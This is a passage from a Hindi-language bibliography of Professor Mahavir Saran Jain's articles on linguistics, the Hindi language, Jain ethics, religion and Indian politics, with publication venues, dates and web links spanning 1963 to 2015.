भाषा का निर्माण एवं विकास (रचनाकार, 22 अक्टूबर, 2014) http://www.rachanakar.org/2014/10/blog-post_87.html 226. महावीर सरन जैन का आलेख - संचार एवं संप्रेषण (रचनाकार, 07 नवम्बर, 2014) http://www.rachanakar.org/2014/11/blog-post_47.html 227. महावीर सरन जैन का आलेख - अन्तरराष्ट्रीय ध्वन्यात्मक वर्णमाला (आईपीए) (रचनाकार, 27 नवम्बर, 2014) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - अन्तरराष्ट्रीय ध्वन्यात्मक वर्णमाला (आईपीए)

http://www.rachanakar.org/2014/11/blog-post_80.html

228. महावीर सरन जैन का आलेख - भारत की भाषाएँ एवं देवनागरी लिपि (रचनाकार, 17 दिसम्बर, 2014) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - भारत की भाषाएँ एवं देवनागरी लिपि http://www.rachanakar.org/2014/12/blog-post_65.html#ixzz3MAnnsuSS 229. प्रोफेसर महावीर सरन जैन का आलेख - भाषा विज्ञान में विवेच्य भाषा: अभिलक्षण, परिभाषा एवं स्वरूप

http://www.rachanakar.org/2014/12/blog-post_87.html#ixzz3MXscoi2i

230. प्रोफेसर महावीर सरन जैन का आलेख - भाषा-व्यवस्था (Language System) एवं भाषा-व्यवहार (Language transaction or Language communication) ,(रचनाकार, 23 दिसम्बर, 2014) http://www.rachanakar.org/2014/12/language-system-language-transaction-or.html 231. स्वाधीनता संग्राम के युग में दक्षिण-भारत में हिन्दी का प्रचार-प्रसार, विश्व हिंदी पत्रिका 2014, पृष्ठ 56-63, विश्व हिंदी सचिवालय, मॉरीशस 232. हिन्दी काव्य भाषा का उद्गमकालीन स्वरूप, अभिनव इमरोज़, पृष्ठ 56-60, वर्ष – 4, अंक -1, नई दिल्ली, जनवरी, 2015 230. भाषाविज्ञान के साधक – डॉ. रमेश चन्द्र महरोत्रा, अक्षर पर्व, पृष्ठ 55-60, वर्ष – 19, अंक – 8, (पूर्णांक – 184), नई दिल्ली, जनवरी, 2015 233. मानव भाषा का निर्माण एवं विकास, विज्ञान परिषद् अनुसंधान पत्रिका, पृष्ठ 33-40, Volume 58, No.4, October, 2014: ISSN : 0505-5806, Allahabd – 211002 234. गुरु नानक (रचनाकार, 11 फरवरी, 2015) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख : गुरु नानक http://www.rachanakar.org/2015/02/blog-post_31.html#ixzz3Rjt9imO0 235. भगवान शिव एवं महाशिवरात्रि (रचनाकार, 14 फरवरी, 2015)आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - भगवान शिव एवं महाशिवरात्रि http://www.rachanakar.org/2015/02/blog-post_22.html#ixzz3RjsIESRh 236. प्रयोजनमूलक हिन्दी की संकल्पना तथा विज्ञान एवं प्रोद्यौगिकी की दृष्टि से हिन्दी की दशा और दिशा (रचनाकार, फरवरी, 19 फरवरी, 2015) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - प्रयोजनमूलक हिन्दी की संकल्पना तथा विज्ञान एवं प्रोद्यौगिकी की दृष्टि से हिन्दी की दशा और दिशा http://www.rachanakar.org/2015/02/blog-post_93.html#ixzz3SAaV5rkb 237. महावीर सरन जैन का आलेख - भाषा-संरचना – वर्णानात्मक भाषाविज्ञान एवं संरचनात्मक भाषाविज्ञान (रचनाकार, 22 फरवरी, 2015) भाषा-संरचना – वर्णानात्मक भाषाविज्ञान (Descriptive Linguistics) एवं संरचनात्मक भाषाविज्ञान (Structural Linguistics) आगे पढ़ें: रचनाकार वर्णानात्मक भाषाविज्ञान एवं संरचनात्मक भाषाविज्ञान http://www.rachanakar.org/2015/02/blog-post_60.html#ixzz3SUxQJnMF 238.महावीर सरन जैन का आलेख - चॉम्स्की का रचनांतरणपरक व्याकरण एवं सार्वभौमिक व्याकरण और उसकी सीमाएँ (रचनाकार, 09 मार्च, 2015) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - चॉम्स्की का रचनांतरणपरक व्याकरण एवं सार्वभौमिक व्याकरण और उसकी सीमाएँ http://www.rachanakar.org/2015/03/blog-post_65.html#ixzz3TsNuwkmN (ग) चयनित लेख: 1. भाषा शास्त्रीय संदर्भ में भाषा-विधेयक के समर्थकों को प्रत्युत्तर: प्राच्य भारती, वर्ष 4, अंक 45, हिन्दी निर्माण परिषद्, मन्दार विद्यापीठ, भागलपुर (अक्टूबर, 1963) 2. आधुनिक विचारधारा और साहित्य: समन्वय, वर्ष 5, अंक 5, केन्द्रीय हिन्दी संस्थान, आगरा (1963-64) 3. समसामयिक परिस्थितियों में भारतीय संस्कृति के पुनरुत्थान की आवश्यकता: चेतावनी, बुलन्दशहर, गणतन्त्र विशेषांक (26 जनवरी, 1964) 4. भारत में नाटकों की परम्परा का आरम्भ: प्राच्य भारती, वर्ष 5, अंक 56, हिन्दी निर्माण परिषद्, मंदार विद्यापीठ, भागलपुर (अक्टूबर, 1964) 5. लोक साहित्य: प्राच्य भारती, वार्षिक विशेषांक, वर्ष 6, अंक 58-59, हिन्दी निर्माण परिषद्, मंदार विद्यापीठ, भागलपुर (1964-65) 6. मैथिलीशरणगुप्त - व्यक्तित्व और कृतित्व: साप्ताहिक बुलन्दशहर टाइम्स (दिसम्बर, 1964) 7. शिक्षण एवं प्रशासन के माध्यम का प्रश्न: मध्य प्रदेश हिन्दी साहित्य सम्मेलन विवरणिका, तृतीय अधिवेशन, जबलपुर (जनवरी, 1965) 8. हिन्दी के विद्वानों से: साहित्य परिचय, हिन्दी अंक, वर्ष 1, अंक 3, साहित्य परिचय, डॉ0 रांगेय राघव मार्ग, आगरा (मार्च, 1966)। 9. कुछ विचार: आलोक, महावीर जयन्ती के अवसर पर विशेष प्रकाशन, जबलपुर (3 अप्रेल, 1966) 10. गुरु नानक की विचारधारा: गुरु नानक प्रकाश, श्री गुरु नानक देव जी की पंचम जन्मशताब्दी पर विशेष प्रकाशन, यंग खालसा एसोसिएशन, जबलपुर (1967) 11. हिन्दी की सार्वदेशिकता एवं राष्ट्रीय चेतना: नवभारत, जबलपुर (जुलाई, 1967) 12. कविवर सेनापति: जनपद के साहित्यांचल से, बुलन्दशहर (1968) 13. आधुनिक परिस्थितियाँ एवं भगवान महावीर का सन्देश: परिव्राजक की धर्म यात्रा, जैन नवयुवक सभा, जबलपुर (31 मार्च, 1969) 14. भारतवर्ष में अन्य भाषा शिक्षण: हिन्दी ज्योति, हिन्दी शिक्षण योजना (मध्य क्षेत्र) विवरणिका, जबलपुर (2 अक्टूबर, 1972) 15. स्थिति और दिशा दृष्टि: अग्रसेन जयन्ती पत्रिका, अंक 6, जबलपुर (1973) 16. भगवान महावीर का संदेश: तीर्थंकर, मुनि श्री विद्यानंद विशेषांक, इन्दौर (अप्रेल, 1974) 17. भारतीय संस्कृति एवं शिक्षा: पं0 उदय अभिनन्दन ग्रन्थ, कानौड़ (राजस्थान) (1974) 18. महावीर की वाणी का मंगलमय - क्रान्तिकारी स्वरूप: वीर निर्वाण विचार सेवा, इन्दौर (नवम्बर, 1974) 19. महाकवि निराला - व्यक्तित्व एवं कृतित्व: निराला साहित्य परिषद् वार्षिकी, वाराणसी (1975) 20. महावीर की विचारधारा में मानवीय उन्नयन एवं सामाजिक समता की भावना: महावीर निर्वाण स्मारिका, जैन समाज, खेतड़ीनगर (1976) 21. आत्मानुसंधान की यात्रा: पं0 सुमेरुचंद दिवाकर अभिनंदन ग्रन्थ, जबलपुर (1976) 22. महावीर का संदेश एवं आधुनिक संदर्भ: तुलसी प्रज्ञा, (स्मृति विशेषांक), अंक 6, जैन विश्व भारती, लाडनू, राजस्थान (1976) 23. सव्वै जीवामित्ति में भूएसू: जैन जगत, भारत जैन महामण्डल, बम्बई (1977) 24. देवनागरी लिपि: राष्ट्रभाषा संदेश, हिन्दी साहित्य सम्मेलन, इलाहाबाद (नवम्बर, 1977) 25. ईश्वर - परिकल्पित निरर्थकता, आत्मा का परब्रह्मत्व स्वरूप: महावीर जयन्ती स्मारिका, जयपुर (1978) 26. जैन धर्म: श्री महावीर जयंती समारोह स्मारिका, कलकत्ता-7 (अप्रेल, 1979) 27. प्राकृत एवं अपभ्रन्श का आधुनिक भारतीय आर्य भाषाओं पर प्रभाव: श्री पुष्कर मुनि अभिनन्दन ग्रन्थ, षष्ठम खण्ड, अ0ग्रं0स0, बम्बई-उदयपुर (1980) 28. कोई भाषा बदबूदार नहीं होती: नवभारत, जबलपुर (26 जनवरी, 1981) 29. संसार की सबसे विशाल प्रतिमा: नवभारत, जबलपुर (22 फरवरी, 1981) 30. विद्या मन्दिर की आधारशिला में सहभागी होने का गर्व: डी0ए0वी0 स्नातकोत्तर महाविद्यालय, बुलन्दशहर की रजत जयन्ती स्मारिका, बुलन्दशहर (1981) 31. अहिंसा: जीवन का विधानात्मक मूल्य: सरयू सौरभ, जबलपुर (1982) 32. जैन धर्म बनाम विश्व धर्म: जय गुंजार, वर्ष 5, अंक 11, ब्यावर (राजस्थान) (फरवरी, 1982) 33. कर्मवाद और सामयिक स्थितियाँ: जिनवाणी, कर्म-सिद्धान्त विशेषांक, जयपुर (1982) 34. हिन्दी भाषा का अर्थ: युगचक्र (राष्ट्रभाषा हिन्दी: समस्या और समाधान) वर्ष-1, अंक-2, अलीगढ़ (1983) 35. धर्म: सार्वभौम चेतना का सत्संकल्प: श्रमणोपासक, वर्ष 22, अंक 5, श्री अ0भा0सा0 जैन संघ, समता भवन, बीकानेर (1984) 36. Culturi Infratite : CRONICA, Anul XXII, No. 49 (1140), Iasi (Romania) (1987) 37. प्रतिभा पुंज: स्वामी विवेकानन्द: श्री रामकृष्ण आश्रम, जबलपुर स्मारिका (दुर्गोत्सव) (1988) 38. बच्चों के लिए नैतिक शिक्षा का महत्व: बाल दर्शन (बालहित चेतना का प्रमुख हिन्दी मासिक), वर्ष 15, अंक 11, कानपुर-दिल्ली (नवम्बर,1989) 39. चरित्र निर्माण में अभिभावक, शिक्षक एवं समाज का दायित्व: बाल दर्शन, वर्ष 15, अंक 12, कानपुर-दिल्ली (दिसम्बर, 1989) 40. विश्व धर्म के रूप में जैन धर्म की प्रासंगिकता: प्रभावना - पंच कल्याणक प्रतिष्ठा एवं गजरथ महोत्सव के अवसर पर प्रकाशित स्मारिका, गोटेगांव, (जिला) नरसिंहपुर, (म0प्र0) (1989) 41. आत्मानुसंधान की प्रक्रिया एवं स्थिति: श्री जैन सभा, भगवान महावीर जयन्ती समारोह स्मारिका, कलकत्ता (1990) 42. विश्व यात्री की महायात्रा: समन्वय, वर्ष-37, अंक-37, केन्द्रीय हिन्दी संस्थान, आगरा (1995-1996) 43. डॉ0 शंकर दयाल सिंह, इस्पात भाषा भारती (स्वर्गीय शंकर दयाल सिंह की स्मृति में विशेषांक), वर्ष-17, पूर्णांक-50 (1996) 44. राग चेतना के गायक: द्वारिका प्रसाद माहेश्वरी: हिन्दी प्रचार वाणी, वर्ष-19, अंक-10, कर्नाटक महिला हिन्दी सेवा समिति, बेंगलौर (फरवरी, 1999) 45. अलग नहीं हैं - भाषा-बोली: अक्षर पर्व, वर्ष-2, अंक-6, देशबंधु प्रकाशन विभाग का मासिक आयोजन, रायपुर (दिसम्बर, 1999) 46. प्राच्य विद्याचार्य डॉ0 हीरालाल जैन: हिन्दी प्रचार वाणी, वर्ष-20, अंक-8, बेंगलोर (दिसम्बर, 1999) 47. जबलपुर में डॉ0 हीरालाल जैन: प्राच्य विद्याचार्य डॉ0 हीरालाल जैन जन्म शताब्दी स्मारिका, जबलपुर (1999-2000) 48. जनसंख्या, पर्यावरण एवं प्राकृतिक संसाधन: स्वर्ण जयन्ती स्मारिका, नेशनल चेम्बर ऑफ इंडस्ट्रीज एण्ड कामर्स, आगरा (1999-2000) 49. लघु कृषि एवं ग्रामीण उद्योग मंत्रालय, भारत सरकार के राजभाषा सम्मेलन पर प्रकाशित स्मारिका में हिन्दी भाषा के सम्बन्ध में विचार, आगरा (2000) 50. सर्वधर्म समभाव: शुभ कल्याणिका, द्वितीय अंक, श्री कल्याण सेवा आश्रम, जबलपुर (जनवरी, 2000) 51. हिन्दी की भूमिका: प्रेरणा, वर्ष-7, अंक-1, केन्द्रीय जालमा कुष्ठ संस्थान, आगरा (मार्च, 2000) 52. हिन्दी: राजभाषा से जनभाषा: प्रेरणा, (राजभाषा विशेषांक), वर्ष-7, अंक-3, आगरा (2000) 53. राजभाषा हिन्दी: भारतवाणी, राजभाषा विशेषांक, वर्ष 45, अंक-6, दक्षिण भारत हिन्दी प्रचार सभा, कर्नाटक शाखा, धारवाड़ (सितम्बर, 2000) 54. हिन्दी भाषा का महत्व: संकल्पायन, दशम अंक, देहरादून (2001) 55. वसुधैव कुटुम्बकम्: शुभ कल्याणिका, वर्ष-3, अंक-3, श्री कल्याण सेवा आश्रम, जबलपुर (जनवरी, 2002) 56. हिन्दी भाषा: एन0सी0एल0 आलोक, राष्ट्रीय रासायनिक प्रयोगशाला, पुणे (सितम्बर, 2002) 57. आत्मानुसंधान की यात्रा: शुभ कल्याणिका, वर्ष 4, अंक-3, श्री कल्याण सेवा आश्रम, जबलपुर (2003) 58. Essence of Hinduism: Vedic Sandesh, Twentieth Anniversary, Fremont, C.A., U.S.A. (August, 2003) 59. Substance of Dharma: India Post, Vol. 9, No. 471, Voice of Indians Worldwide, U.S.A. (15th August, 2003) 60. Twenty First Century belongs to Hindi: India Post, Vol. 9, No. 480, U.S.A. (October 17, 2003) 61. क्षमा: शुभ कल्याणिका, वर्ष-5, अंक-1, श्री कल्याण सेवा आश्रम, जबलपुर (2003) 62. कांतिभाई पटेल: सद् गृहस्थ संत: श्री कांति भाई पटेल अभिनन्दन ग्रन्थ, आगरा (2003) 63. डॉ0 शिव गोपाल मिश्र: हिन्दी के विकास के लिए समर्पित व्यक्तित्व: डॉ0 शिव गोपाल मिश्र की 70 वीं वर्षगाँठ पर अभिनन्दन ग्रन्थ, विज्ञान परिषद्, प्रयाग (2003) 64. मार्दव: शुभ कल्याणिका, वर्ष-5, अंक-2, श्री कल्याण सेवा आश्रम, जबलपुर (जनवरी, 2004) 65. आर्जव: शुभ कल्याणिका, वर्ष-5, अंक-3, श्री कल्याण सेवा आश्रम, जबलपुर (जून, 2004) 66. सत्य: शुभ कल्याणिका, वर्ष-5, अंक-4, श्री कल्याण सेवा आश्रम, जबलपुर (सितम्बर, 2004) 67. शौचः शुचिता, स्वच्छता, पवित्रता और निर्मलता: शुभ कल्याणिका, वर्ष-6, अंक-1, श्री कल्याण सेवा आश्रम, जबलपुर (दिसम्बर, 2004) 68. हिन्दी और भारतीय चेतना: केरल ज्योति, केरल हिन्दी प्रचार समा, तिरुवनंतपुरम, (2004) 69. विश्व हिन्दी न्यास के तृतीय वार्षिक अधिवेशन का मुख्य व्याख्यानः सूचना भारती, अंक 3, सूचना एवं प्रसारण मंत्रालय, भारत सरकार, नई दिल्ली (2004 - 2005) 70. क्रोध से बचें, दैनिक समाचार पत्र अमर उजाला (30, अगस्त,

   2005)

71. क्षमा करना सीखें, दैनिक समाचार पत्र अमर उजाला (13,

   सितम्बर, 2005)

72. सत्य, दैनिक समाचार पत्र अमर उजाला (8, नवम्बर, 2005) 73. सत्य ही आनन्द, ब्रह्म एवं ईश्वर, दैनिक समाचार पत्र अमर

    उजाला (29, नवम्बर, 2005)

74. हिन्दी संयुक्त राष्ट्र संघ की भाषा हो: बहुवचन, वर्ष-7, अंक-13,

    महात्मा गांधी अन्तरराष्ट्रीय विश्वविद्यालय, वर्धा (अक्टूबर – दिसम्बर, 2005)

75. प्रज्ञा पुरुष: राजर्षि परमानन्द भाई पटेल स्मृतिग्रंथ, जबलपुर, (2006) 76. मेरे गुरु डॉ0 उदय नारायण तिवारी: बहुवचन, वर्ष-8, अंक-14, महात्मा गांधी अन्तरराष्ट्रीय विश्वविद्यालय, वर्धा (जनवरी -मार्च, 2006) 77. अहंकार, गर्व, मद एवं कठोरता,77. दैनिक समाचार पत्र अमर उजाला (13, दिसम्बर, 2005) 78. भौतिक पदार्थों के प्रति ममत्व का त्याग, 78. दैनिक समाचार पत्र अमर उजाला (10, जनवरी, 2006) 79. लोभ से सभी सद्गुणों का नाश, 79. दैनिक समाचार पत्र अमर उजाला (7, फरवरी, 2006) 80. पवित्रता, शुचिता, और आत्मशुद्धि, 80. दैनिक समाचार पत्र अमर उजाला (7मार्च, 2006) 81. आध्यात्मिक दृष्टि से त्याग,81. दैनिक समाचार पत्र अमर उजाला (30, मई, 2006) 82. क्षमा (सृजनगाथा, 01 सितम्बर, 2007)

  http://www.srijangatha.com/Vichaarveathee2_Sep2k7

83. क्रोध (सृजनगाथा, 01 सितम्बर, 2007) http://www.srijangatha.com/Vichaarveathee1_Sep2k7 84. अतिरेक और समाधान (सृजनगाथा, 01 अक्टूबर, 2008) http://www.srijangatha.com/Vichaarveathee1_May2k8 85. ऐसे राजनेता नहीं चाहिए, दैनिक समाचार पत्र अमर उजाला (08 दिसम्बर, 2008 ) 86. राम साध्य हैं; साधन नहीं (हिन्दी वेब दुनिया, 21 जनवरी, 2009) hindi.webdunia.com/.../राम-साध्य-हैं-साधन-नहीं-1090121027_1. Htm 87. महात्मा गाँधीः (हिन्दी वेब दुनिया, 30 जनवरी, 2009) http://hindi.webdunia.com/1090130017_1.htm 88. सर्व धर्म समभावः (हिन्दी वेब दुनिया, 26 फरवरी, 2009) hindi.webdunia.com/.../सर्वधर्म-समभाव-1090226033_1.htm 89. डॉ. उदयनारायण तिवारी (सृजनगाथा, 01 फरवरी, 2009) http://www.srijangatha.com/Hastakshar_Feb2k9 90. भगवान महावीर का जन्मः पुनर्भवों की साधना का परिणामः (हिन्दी वेब दुनिया, 10 फरवरी, 2009) hindi.webdunia.com/.../भगवान-महावीर-का-जन्म-1130420020_1.htm 91. प्राणी मात्र के कल्याण के लिए भगवान महावीर का संदेशः (हिन्दी वेब दुनिया, 06 अप्रैल, 2009) hindi.webdunia.com/religion/occasion/.../06/1090406055_1.htm 92. विश्व में हो सद्भावना का विकास – 1, (हिन्दी वेब दुनिया, 01 मई, 2009) hindi.webdunia.com/religion/religion/article/.../1090501088_1.htm 93. विश्व में हो सद्भावना का विकास – 2, (हिन्दी वेब दुनिया, 02 मई, 2009) hindi.webdunia.com/religion/religion/article/.../1090502115_1.htm 94. विश्व में हो सद्भावना का विकास – 3, (हिन्दी वेब दुनिया, 06 मई, 2009) hindi.webdunia.com/religion/religion/article/.../1090506059_1.htm 95. विश्व में हो सद्भावना का विकास – 4, (हिन्दी वेब दुनिया, 12 मई, 2009) hindi.webdunia.com/religion/religion/article/.../1090512081_1.htm 96. विश्व में हो सद्भावना का विकास – 5, (हिन्दी वेब दुनिया, 16 मई, 2009) hindi.webdunia.com/religion/religion/article/.../1090516053_1.htm 97. सुखी जीवन के लिए क्रोध से बचें (हिन्दी वेब दुनिया, 15 मई, 2009) hindi.webdunia.com/religion/religion/article/.../1090515084_1.htm 98. आतंकवाद को निर्मूल करने के लिए सर्व धर्म समभावः (रचनाकार, 31 मई, 2009) www.rachanakar.org/2009/05/blog-post_4379.html 99. विकास का रास्ता स्वयं बनाएँ (हिन्दी वेब दुनिया, 09 जून, 2009) hindi.webdunia.com/religion/religion/article/.../1090609077_1.htm 100. सुखी जीवन के लिए निष्कपटताः (हिन्दी वेब दुनिया, 26 जून, 2009) hindi.webdunia.com/religion/religion/article/.../1090626025_1.htm 101. धर्म-दर्शन एवं अन्योन्याश्रित व्यवस्था - 01 (हिन्दी वेब दुनिया, 30 जून, 2009) hindi.webdunia.com/religion/religion/article/.../1090630054_1.htm 102. धर्म-दर्शन एवं अन्योन्याश्रित व्यवस्था – 02 (हिन्दी वेब दुनिया, 01 जुलाई, 2009) hindi.webdunia.com/religion/religion/article/.../1090701051_1.htm 103. डॉ. उदयनारायण तिवारी (रचनाकार, 09 जुलाई, 2009) www.rachanakar.org/2009/07/blog-post_09.html 104. प्रज्ञा पुरुष परमानन्द भाई पटेल (रचनाकार, 11 जुलाई, 2009) www.rachanakar.org/2009/07/blog-post_1476.html 105. क्या उत्तर-प्रदेश एवं बिहार हिन्दी भाषी राज्य नहीं हैं ? (रचनाकार, 08 सितम्बर, 2009) www.rachanakar.org/2009/09/blog-post_08.html 106. हिन्दी चैनलों ने बनाया हिन्दी को लोकप्रिय (रचनाकार, 22 अक्टूबर, 2009) हिन्दी चैनलों ने बनाया हिन्दी को लोकप्रिय hindi.webdunia.com/miscellaneous/nri/.../22/1091022059_1.htm 107. दुनिया में सबसे अधिक बोले जाने वाली भाषा कौन (वेब दुनिया, 18 नवम्बर, 2009) दुनिया में सबसे अधिक बोली जाने वाली भाषा कौन ... quest.webdunia.com/hindi/2/21536/question.html 108. अध्यात्म एवं विज्ञानः (कर्मभूमि, वर्ष 2, अंक – 7, हिन्दी यू. एस. ए. की त्रैमासिक ई-पत्रिका, नवम्बर, 2009) karmabhoomiOct09.pdf http://hindiusa.org/index.php?option=com_docman&task=doc_download&gid=73 109. खजुराहोः मिथुनाचार को अंकित करने वाली प्रतिमाएँ (रचनाकार, 04 दिसम्बर, 2009) www.rachanakar.org/2009/12/blog-post_04.html 110. भगवान महावीर (रचनाकार, 28 मार्च, 2010) www.rachanakar.org/2010/03/blog-post_3876.html 111. विश्व में हिन्दी की स्थिति (01 जनवरी, 2012)

विश्व में हिंदी की स्थिति | kavita meri shaan

nishtanish18.wordpress.com/.../विश्व-में-हिंदी-की-स्थिति/‎ 112. हिन्दी दिवस पर संदेश (रचनाकार, 14 सितम्बर, 2012) www.rachanakar.org/2012/09/blog-post_3077.html 113. रिटेल में प्रत्यक्ष विदेशी निवेश (एफ.डी.आई.) (रचनाकार, 25 सितम्बर,2012) www.rachanakar.org/2012/09/blog-post_25.html 114. गाँधी दर्शनः (रचनाकार, 05 अक्टूबर, 2012) www.rachanakar.org/2012/10/blog-post_1635.html 115. रिटेल में प्रत्यक्ष विदेशी निवेश (दैनिक देशबंधु, 28 नवम्बर, 2013) http://www.deshbandhu.co.in/newsdetail/3363/10/0 116. मुम्बई विद्यापीठ के कुलपति डॉ. मोरेश्वर दिनकर पराडकरः स्मृतियों को नमन (रचनाकार, 19 जनवरी, 2013) www.rachanakar.org/2013/01/blog-post_8717.html 117. जयपुर में साहित्य महोत्सव के बहाने से रचनाकारों से सवालः (रचनाकार, 29 जनवरी, 2013) www.rachanakar.org/2013/01/blog-post_29.html 118. डॉ. जे. पी. शुक्ल – स्मृतियों को नमन (रचनाकार, 15 फरवरी, 2013) http://www.rachanakar.org/2013/02/blog-post_13.html 119. वसंत पंचमी का पर्व और विद्या की अधिष्ठात्रीः (रचनाकार, 15 फरवरी, 2013) http://www.rachanakar.org/2013/02/blog-post_15.html 120. देश की राजनीतिः दशा और दिशा (प्रवक्ता, 13 मई, 2013) http://www.pravakta.com/the-countrys-politics-status-and-direction 121. हिन्दी भाषा के सम्बन्ध में कुछ विचार (प्रवक्ता, 20 जून, 2013) http://www.pravakta.com/reflections-in-relation-to-hindi-language 122. हिन्दी भाषा के सम्बंध में कुछ विचार (उगता भारत, 26 जून, 2013) http://www.ugtabharat.com 123. “सेकुलर” अर्थात् धर्मनिरपेक्षता: लोकतंत्रात्मक दर्शन का मूल्य अथवा पूर्वाग्रह एवं विचारों की जकड़बंदी (रचनाकार, 11 जुलाई, 2013) http://www.rachanakar.org/2013/07/blog-post_11.html 124. धर्मनिरपेक्षताः संवैधानिक मूल्य (प्रवक्ता, 14 जुलाई, 2013) http://www.pravakta.com/secular-ie-secularism-demonic-spirit-or-constitutional-value 125. आधुनिकताः सार्वदेशिक प्रत्यय (प्रवक्ता, 22 जून, 2013) http://www.pravakta.com/adhunikta-universal-idea-suffix 126. हिन्दी भाषा के सम्बंध में कुछ विचार (उगता भारत, 26 जून, 2013) http://www.ugtabharat.com 127. देश का भविष्य और विकासः (प्रवक्ता, 27 जुलाई, 2013) http://www.pravakta.com/the-countrys-future-development 128. भवानी प्रसाद मिश्र (रचनाकार, 02 सितम्बर, 2013) http://www.rachanakar.org/2013/09/blog-post_2.html 129. हिन्दी देश को जोड़ने वाली भाषा है (रचनाकार, 14 सितम्बर, 2013) http://www.rachanakar.org/2013/09/blog-post_14.html 130. हिन्दी देश को जोड़ने वाली भाषा है; इसे उसके अपने ही घर में न तोड़ें (प्रवक्ता, 14 सितम्बर, 2013) http://www.pravakta.com/hindi-is-the-language-of-hindustan 131. क्षमा (रचनाकार, 24 सितम्बर, 2013) http://www.rachanakar.org/2013/09/1.html 132. मार्दव (रचनाकार, 28 सितम्बर, 2014) http://www.rachanakar.org/2013/09/2_28.html 133. आर्जव (रचनाकार, 28 सितम्बर, 2013) http://www.rachanakar.org/2013/09/3_28.html 134. सत्य (रचनाकार, 28 सितम्बर, 2013) http://www.rachanakar.org/2013/09/4.html 135. शौच (रचनाकार, 28 सितम्बर, 2013) http://www.rachanakar.org/2013/09/5.html 136. संयम (रचनाकार, 06 अक्टूबर, 2013) http://www.rachanakar.org/2013/10/6.html 137. तप (रचनाकार, 06 अक्टूबर, 2013) http://www.rachanakar.org/2013/10/7.html 138. त्याग (रचनाकार, 06 अक्टूबर, 2013) http://www.rachanakar.org/2013/10/8.html 139. आकिंचन्य (रचनाकार, 06 अक्टूबर, 2013) http://www.rachanakar.org/2013/10/9.html 140. ब्रह्मचर्य (रचनाकार, 06 अक्टूबर, 2013) http://www.rachanakar.org/2013/10/10.html 141. कीचड़ को कीचड़ से साफ नहीं किया जा सकता (दैनिक देशबंधु, 07 अक्टूबर, 2013) http://www.deshbandhu.co.in/newsdetail/4018/10/0 142. तथाकथित साधुओं का पाखंड भरा आचरण (दैनिक देशबंधु, 15 अक्टूबर, 2013) http://www.deshbandhu.co.in/newsdetail/4039/10/0 143. भाजपा का सुशासन और शुचिता (दैनिक देशबंधु, 22 अक्टूबर, 2013) http://www.deshbandhu.co.in/newsdetail/4055/10/0 144. राजेन्द्र यादवः खट्टी मीठी यादें (रचनाकार, 31 अक्टूबर, 2013) http://www.rachanakar.org/ 145. भारत की राजनीति का भविष्यः (देशबंधु समाचार पत्र, देशबंधु अवकाश अंक, रविवार, 10 नवम्बर, 2013) 146. हिन्दी भाषा के सम्बंध में कुछ विचार: विश्व हिन्दी पत्रिका, पाँचवा अंक, विश्व हिन्दी सचिवालय, भारत सरकार व मॉरीशस सरकार की द्विपक्षीय संस्था, मॉरीशस (2013) 147.प्रो॰एन॰ई॰विश्वनाथ अय्यर: स्मृतियों को नमन (रचनाकार, 12 मार्च 2014) http://www.rachanakar.org/2014/03/blog-post_12.html 148. प्रोफेसर एन. ई. विश्वनाथ अय्यर, दैनिक देशबंधु, रविवारीय अंक, 13 अप्रैल, 2014 149. पूर्वोत्तर भारत में हिन्दी (रचनाकार, 01 जून, 2014)

रचनाकार: महावीर सरन जैन का आलेख - पूर्वोत्तर भारत में हिन्दी
http://www.rachanakar.org/2014/05/blog- post_6978.html#ixzz35Lz3PNBb

150. वर्धा हिन्दी शब्द कोश के बहाने से हिन्दी के विकास से सम्बंधित कुछ विचार (रचनाकार, 12 जून, 2014) 151. वर्धा हिन्दी शब्दकोश के बहाने से हिन्दी के विकास के संबंध में कुछ विचार by प्रोफेसर महावीर सरन जैन • June 12, 2014 http://www.pravakta.com/thoughts-to-development-of-hindi 152. “वर्धा हिन्दी शब्दकोश” पर प्राप्त विद्वानों की प्रतिक्रियाओं के संदर्भ में पुनः विचार by प्रोफेसर महावीर सरन जैन • June 14, 2014 http://www.pravakta.com/75901 153. देश की नव निर्वाचित सरकार के लिए करणीय : दशा और दिशा by प्रोफेसर महावीर सरन जैन • June 18, 2014 http://www.pravakta.com/new-government 154. हिन्दी के विकास के सम्बंध में कुछ विचार, दैनिक देशबंधु, रविवारीय अंक, 22 जून, 2014 155. मोदी सरकार का हनीमून पीरियड, देशबन्धु, 03 जुलाई, 2014 156. समता समाज और जातिवाद

महावीर सरन जैन का आलेख - समता, समाज और जातिवाद
http://www.rachanakar.org/2014/07/blog-post_17.html

157. सरोकारों के बगैर बजट, जनसत्ता, 17 जुलाई, 2014 158. महावीर सरन जैन का आलेख - राजभाषा हिन्दी: दशा एवं दिशा 19 जुलाई 2014 http://www.rachanakar.org/2014/07/blog-post_19.html#ixzz37uKcNEGd 159. महावीर सरन जैन का आलेख - भारत में भारतीय भाषाओं का सम्मान और विकास, रचनाकार, 27 जुलाई, 2014 http://www.rachanakar.org/2014/07/blog-post_58.html 160. शब्दों के अंग्रेजी सिक्के, जनसत्ता, 03 अगस्त, 2014 161.संघ लोक सेवा आयोग की सिविल सेवा परीक्षाएँ एवं भारतीय भाषाएँ : प्रोफेसर महावीर सरन जैन (06.08.2014) http://hindimedia.in/3/news/Union-Public-Service-Commission-Civil-Service-examinations-and-Indian-Languages 162. सिविल सेवाएँ परीक्षाएँ एवं भारतीय भाषाएँ, दैनिक देशबंधु, रविवारीय अंक, 03 अगस्त, 2014 163. भाषा का वरीयता क्रम बदलें, जनसत्ता, 08 अगस्त, 2014 164. राजकाज में आज भी अकड़ दिखाती अंग्रेजी, पाञ्चजन्य, पृष्ठ 68-70, 17 अगस्त, http://www.jansatta.com/politics/editorial-mohan-bhagwat/#sthash.mR8KaEcA.dpuf 168. मेरे बड़े भाई : शुचिता के प्रतिमान श्री सूरज भान जैन (रचनाकार, 05 अक्टूबर, http://www.rachanakar.org/#ixzz3FFI7IajP 169. राजभाषा हिन्दी (साहित्य कुञ्ज, नवम्बर, (2014) http://www.sahityakunj.net/LEKHAK/M/MahavirSaranJain/raajbhaashaa_hindI_dashaa_evam_dishaa_Alekh.htm 170. हिन्दी के नए कवियों एवं आलोचकों से सवाल (रचनाकार, 10 नवम्बर, (2014) आगे पढ़ें: रचनाकार: महावीर सरन जैन का आलेख - हिन्दी के नए कवि 